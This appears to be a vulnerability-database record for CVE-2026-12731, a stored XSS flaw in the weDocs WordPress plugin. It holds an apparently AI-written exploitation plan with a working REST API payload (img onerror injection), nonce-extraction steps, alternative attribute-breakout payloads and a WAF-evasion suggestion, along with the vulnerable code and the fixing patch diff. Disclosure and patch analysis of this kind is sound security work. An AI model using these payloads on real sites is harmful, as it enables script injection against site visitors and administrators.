[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fwdEXyxdbHdn41MUyKaC2R5wrBMfYtVcrPz1WmJ4Df_o":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-12731","wedocs-ai-powered-knowledge-base-docs-documentation-wiki-ai-chatbot-authenticated-contributor-stored-cross-site-scriptin-2","weDocs: AI Powered Knowledge Base, Docs, Documentation, Wiki & AI Chatbot \u003C= 2.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'sectionTitleTag' and 'articleTitleTag' Block Attributes","The weDocs: AI Powered Knowledge Base, Docs, Documentation, Wiki & AI Chatbot plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'sectionTitleTag' and 'articleTitleTag' Block Attributes in all versions up to, and including, 2.3.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","wedocs",null,"\u003C=2.3.0","2.3.1","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-02 11:58:36","2026-07-03 01:28:21",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fcda6d5d5-b49a-40f4-9c83-c1c569891339?source=api-prod",1,[22,23,24,25,26,27,28,29],"RELEASE_NOTES.md","assets\u002Fbuild\u002Fblocks\u002FBreadcrumb\u002Fstyle-index-rtl.css","assets\u002Fbuild\u002Fblocks\u002FBreadcrumb\u002Fstyle-index.css","assets\u002Fbuild\u002Fblocks\u002FDocNavigation\u002Fstyle-index-rtl.css","assets\u002Fbuild\u002Fblocks\u002FDocNavigation\u002Fstyle-index.css","assets\u002Fbuild\u002Fblocks\u002FQuickSearch\u002Fstyle-index-rtl.css","assets\u002Fbuild\u002Fblocks\u002FQuickSearch\u002Fstyle-index.css","assets\u002Fbuild\u002Fblocks\u002FSidebar\u002Frender.php","researched",false,3,"This exploitation research plan targets **CVE-2026-12731**, a Stored Cross-Site Scripting (XSS) vulnerability in the **weDocs** plugin.\n\n### 1. Vulnerability Summary\nThe **weDocs** plugin (\u003C= 2.3.0) is vulnerable to Stored XSS because it fails to sanitize or escape the `sectionTitleTag` and `articleTitleTag` block attributes before rendering them in the HTML output. An attacker with **Contributor** level permissions or higher can modify these attributes in the Gutenberg block editor to inject malicious HTML and JavaScript. When a user (including administrators) views the affected page, the script executes in their browser context.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** WordPress REST API (Gutenberg Editor)\n*   **Vulnerable Block:** `wedocs\u002Fsidebar` (inferred from file structure `assets\u002Fbuild\u002Fblocks\u002FSidebar\u002F`)\n*   **Vulnerable Attributes:** `sectionTitleTag`, `articleTitleTag`\n*   **Required Role:** Contributor, Author, Editor, or Administrator.\n*   **Preconditions:** The `docs` custom post type (inferred) must be editable by the attacker.\n\n### 3. Code Flow\n1.  **Input:** A user with editing permissions creates\u002Fupdates a Doc. They provide a payload for the `sectionTitleTag` or `articleTitleTag` attributes within the Gutenberg block JSON.\n2.  **Storage:** The payload is stored in the `wp_posts` table within the `post_content` field (e.g., `\u003C!-- wp:wedocs\u002Fsidebar {\"sectionTitleTag\":\"...\"} \u002F-->`).\n3.  **Execution (Sink):**\n    *   When the Doc is viewed on the frontend, WordPress invokes the block's render callback.\n    *   File: `assets\u002Fbuild\u002Fblocks\u002FSidebar\u002Frender.php`\n    *   Function: `render_wedocs_sidebar( $attributes, $content )`\n    *   The attributes are extracted (Lines 149-150):\n        ```php\n        $section_title_tag      = $attributes['sectionTitleTag'] ?? 'h3';\n        $article_title_tag      = $attributes['articleTitleTag'] ?? 'h4';\n        ```\n    *   The variables are subsequently used to construct HTML tags (e.g., `\u003C$section_title_tag ...>`) without being passed through `tag_escape()` or a whitelist check.\n\n### 4. Nonce Acquisition Strategy\nTo update a post via the REST API, the agent must provide a valid REST nonce in the `X-WP-Nonce` header.\n1.  **Login:** Log in as a Contributor.\n2.  **Navigate:** Navigate to the \"New Doc\" or \"Edit Doc\" page (e.g., `\u002Fwp-admin\u002Fpost-new.php?post_type=docs`).\n3.  **Extraction:** Since this is a Gutenberg-driven environment, the REST nonce is stored in the `window.wpApiSettings` object.\n4.  **Command:** \n    ```javascript\n    browser_eval(\"window.wpApiSettings.nonce\")\n    ```\n\n### 5. Exploitation Strategy\nThe goal is to inject an `img` tag with an `onerror` handler into the HTML tag name position.\n\n**Step 1: Create a Doc**\n*   **Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `\u002Fwp-json\u002Fwp\u002Fv2\u002Fdocs` (Verify post type name first)\n*   **Headers:** `X-WP-Nonce: [NONCE]`, `Content-Type: application\u002Fjson`\n*   **Body:** \n    ```json\n    {\n      \"title\": \"Security Research\",\n      \"status\": \"publish\",\n      \"content\": \"\u003C!-- wp:wedocs\u002Fsidebar {\\\"sectionTitleTag\\\":\\\"img src=x onerror=alert(document.domain) \\\",\\\"articleTitleTag\\\":\\\"h4\\\"} \u002F-->\"\n    }\n    ```\n\n**Step 2: Trigger Execution**\n*   Navigate to the permalink of the newly created Doc (returned in the `link` field of the Step 1 response).\n*   The rendered HTML will contain: `\u003Cimg src=x onerror=alert(document.domain)  class=\"wedocs-section-title\">...`\n\n### 6. Test Data Setup\n1.  **Plugin Setup:** Install and activate the `wedocs` plugin (version 2.3.0).\n2.  **User Setup:**\n    ```bash\n    wp user create attacker attacker@example.com --role=contributor --user_pass=password123\n    ```\n3.  **Environment Check:** Ensure the `docs` post type is registered and supports the REST API (standard for modern weDocs).\n\n### 7. Expected Results\n*   The REST API should return a `201 Created` or `200 OK` response confirming the post content was saved.\n*   Upon navigating to the frontend Doc page, a JavaScript alert box showing the document domain should appear.\n*   The HTML source of the sidebar should show the broken\u002Finjected tag.\n\n### 8. Verification Steps\n1.  **Check Content:** Verify the payload is stored correctly in the database.\n    ```bash\n    wp post list --post_type=docs --format=csv\n    wp post get [POST_ID] --field=post_content\n    ```\n2.  **Check Response:** Use `http_request` to GET the frontend page and verify the presence of the `onerror` payload.\n    ```bash\n    # Look for the payload in the raw HTML\n    grep \"onerror=alert\"\n    ```\n\n### 9. Alternative Approaches\n*   **Attribute Breakout:** If the tag name itself is sanitized but attributes are not, try injecting into the `className` attribute:\n    `\"className\": \"injected\\\" onmouseover=\\\"alert(1)\\\"\"`.\n*   **Article Tag:** Repeat the same strategy using the `articleTitleTag` attribute if `sectionTitleTag` is blocked by a firewall\u002FWAF.\n*   **Shortcode (Legacy):** Check if the plugin supports a legacy shortcode that uses these same attributes, as shortcodes often share rendering logic with blocks. Look for `add_shortcode` in the main plugin file.","The weDocs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sectionTitleTag' and 'articleTitleTag' block attributes. Authenticated attackers with Contributor-level permissions or higher can inject arbitrary JavaScript into these attributes through the Gutenberg editor, which executes when any user visits the page containing the malicious block.","\u002F\u002F assets\u002Fbuild\u002Fblocks\u002FSidebar\u002Frender.php lines 154-155\n        $section_title_tag      = $attributes['sectionTitleTag'] ?? 'h3';\n        $article_title_tag      = $attributes['articleTitleTag'] ?? 'h4';\n\n---\n\n\u002F\u002F assets\u002Fbuild\u002Fblocks\u002FSidebar\u002Frender.php lines 141-143\n        $connector_width = intval( str_replace( 'px', '', $tree_styles['indentation'] ?? '20' ) ) \u002F 2;\n        $connector_color = wedocs_get_color_value( $tree_styles['connectorColor'] ?? '', '#e5e7eb' );\n\n        return '\u003Cdiv class=\"wedocs-connector-line\" style=\"position: absolute; left: -' . $connector_width . 'px; top: 0; bottom: 0; width: ' . ( $tree_styles['connectorWidth'] ?? '1px' ) . '; background-color: ' . esc_attr( $connector_color ) . ';\">\u003C\u002Fdiv>';\n\n---\n\n\u002F\u002F assets\u002Fbuild\u002Fblocks\u002FSidebar\u002Frender.php line 446\n        $section_style .= 'margin-bottom: ' . ( $tree_styles['itemSpacing'] ?? '4px' ) . ';';","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwedocs\u002F2.3.0\u002Fassets\u002Fbuild\u002Fblocks\u002FSidebar\u002Frender.php\\t2026-06-10 05:17:00.000000000 +0000\\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwedocs\u002F2.3.1\u002Fassets\u002Fbuild\u002Fblocks\u002FSidebar\u002Frender.php\\t2026-06-29 04:44:36.000000000 +0000\\n@@ -76,6 +76,61 @@\\n }\\n \\n \u002F**\\n+ * Validate a CSS length value (e.g. \\\"1px\\\", \\\"0.5rem\\\", \\\"10%\\\").\\n+ *\\n+ * Block attributes are stored unsanitized, so any string reaching a\\n+ * style attribute must be validated before output.\\n+ *\u002F\\n+if ( ! function_exists( 'wedocs_sanitize_css_length' ) ) {\\n+    function wedocs_sanitize_css_length( $value, $fallback = '1px' ) {\\n+        if ( ! is_string( $value ) && ! is_numeric( $value ) ) {\\n+            return $fallback;\\n+        }\\n+        $value = trim( (string) $value );\\n+        if ( preg_match( '\u002F^\\\\d+(\\\\.\\\\d+)?(px|em|rem|%|vh|vw|pt)?$\u002F', $value ) ) {\\n+            return $value;\\n+        }\\n+        return $fallback;\\n+    }\\n+}\\n+\\n+\u002F**\\n+ * Validate an HTML heading\u002Finline tag name against a whitelist.\\n+ *\u002F\\n+if ( ! function_exists( 'wedocs_sanitize_tag_name' ) ) {\\n+    function wedocs_sanitize_tag_name( $tag, $fallback = 'h3' ) {\\n+        $allowed = [ 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'div', 'span', 'p' ];\\n+        $tag     = is_string( $tag ) ? strtolower( trim( $tag ) ) : '';\\n+        return in_array( $tag, $allowed, true ) ? $tag : $fallback;\\n+    }\\n+}\\n+\\n+\u002F**\\n  * Process WordPress color class and add to appropriate output\\n  *\\n  * @param string $parsed_color The parsed color value\\n@@ -134,8 +189,9 @@\\n \\n         $connector_width = intval( str_replace( 'px', '', $tree_styles['indentation'] ?? '20' ) ) \u002F 2;\\n         $connector_color = wedocs_get_color_value( $tree_styles['connectorColor'] ?? '', '#e5e7eb' );\\n+        $line_width      = wedocs_sanitize_css_length( $tree_styles['connectorWidth'] ?? '1px', '1px' );\\n \\n-        return '\u003Cdiv class=\"wedocs-connector-line\" style=\"position: absolute; left: -' . $connector_width . 'px; top: 0; bottom: 0; width: ' . ( $tree_styles['connectorWidth'] ?? '1px' ) . '; background-color: ' . esc_attr( $connector_color ) . ';\">\u003C\u002Fdiv>';\\n+        return '\u003Cdiv class=\"wedocs-connector-line\" style=\"position: absolute; left: -' . esc_attr( $connector_width ) . 'px; top: 0; bottom: 0; width: ' . esc_attr( $line_width ) . '; background-color: ' . esc_attr( $connector_color ) . ';\">\u003C\u002Fdiv>';\\n     }\\n }\\n if ( ! function_exists( 'render_wedocs_sidebar' ) ) {\\n@@ -151,8 +207,8 @@\\n     if ($enable_nested_articles === '') {\\n         $enable_nested_articles = true;\\n     }\\n-        $section_title_tag      = $attributes['sectionTitleTag'] ?? 'h3';\\n-        $article_title_tag      = $attributes['articleTitleTag'] ?? 'h4';\\n+        $section_title_tag      = wedocs_sanitize_tag_name( $attributes['sectionTitleTag'] ?? 'h3', 'h3' );\\n+        $article_title_tag      = wedocs_sanitize_tag_name( $attributes['articleTitleTag'] ?? 'h4', 'h4' );\\n         \u002F\u002F Styling attributes\\n         $container_styles   = $attributes['containerStyles'] ?? [];\\n         $section_styles     = $attributes['sectionStyles'] ?? [];\\n@@ -443,7 +499,7 @@\\n         if ( $level > 0 ) {\\n             $section_style .= 'margin-left: ' . $indentation . 'px;';\\n         }\\n-        $section_style .= 'margin-bottom: ' . ( $tree_styles['itemSpacing'] ?? '4px' ) . ';';\\n+        $section_style .= 'margin-bottom: ' . wedocs_sanitize_css_length( $tree_styles['itemSpacing'] ?? '4px', '4px' ) . ';';","To exploit this vulnerability, an attacker with at least Contributor-level access follows these steps: \n1. Obtain a valid REST API nonce (e.g., by logging into the WordPress admin and extracting `window.wpApiSettings.nonce` from a post editing page).\n2. Send a POST request to the WordPress REST API endpoint for the 'docs' custom post type (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fdocs`).\n3. Include a block JSON payload for the `wedocs\u002Fsidebar` block in the `content` field. \n4. The payload should set the `sectionTitleTag` or `articleTitleTag` attribute to a value that breaks out of the expected tag name and includes an event handler, such as: `\"sectionTitleTag\":\"img src=x onerror=alert(document.domain) \"`.\n5. Once the post is saved, any user who views the published doc page will trigger the JavaScript execution as the plugin renders the malicious attribute directly as an HTML tag name without escaping or whitelisting.","gemini-3-flash-preview","2026-07-25 10:09:37","2026-07-25 10:10:32",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.3.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwedocs\u002Ftags\u002F2.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwedocs.2.3.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwedocs\u002Ftags\u002F2.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwedocs.2.3.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwedocs\u002Ftags"]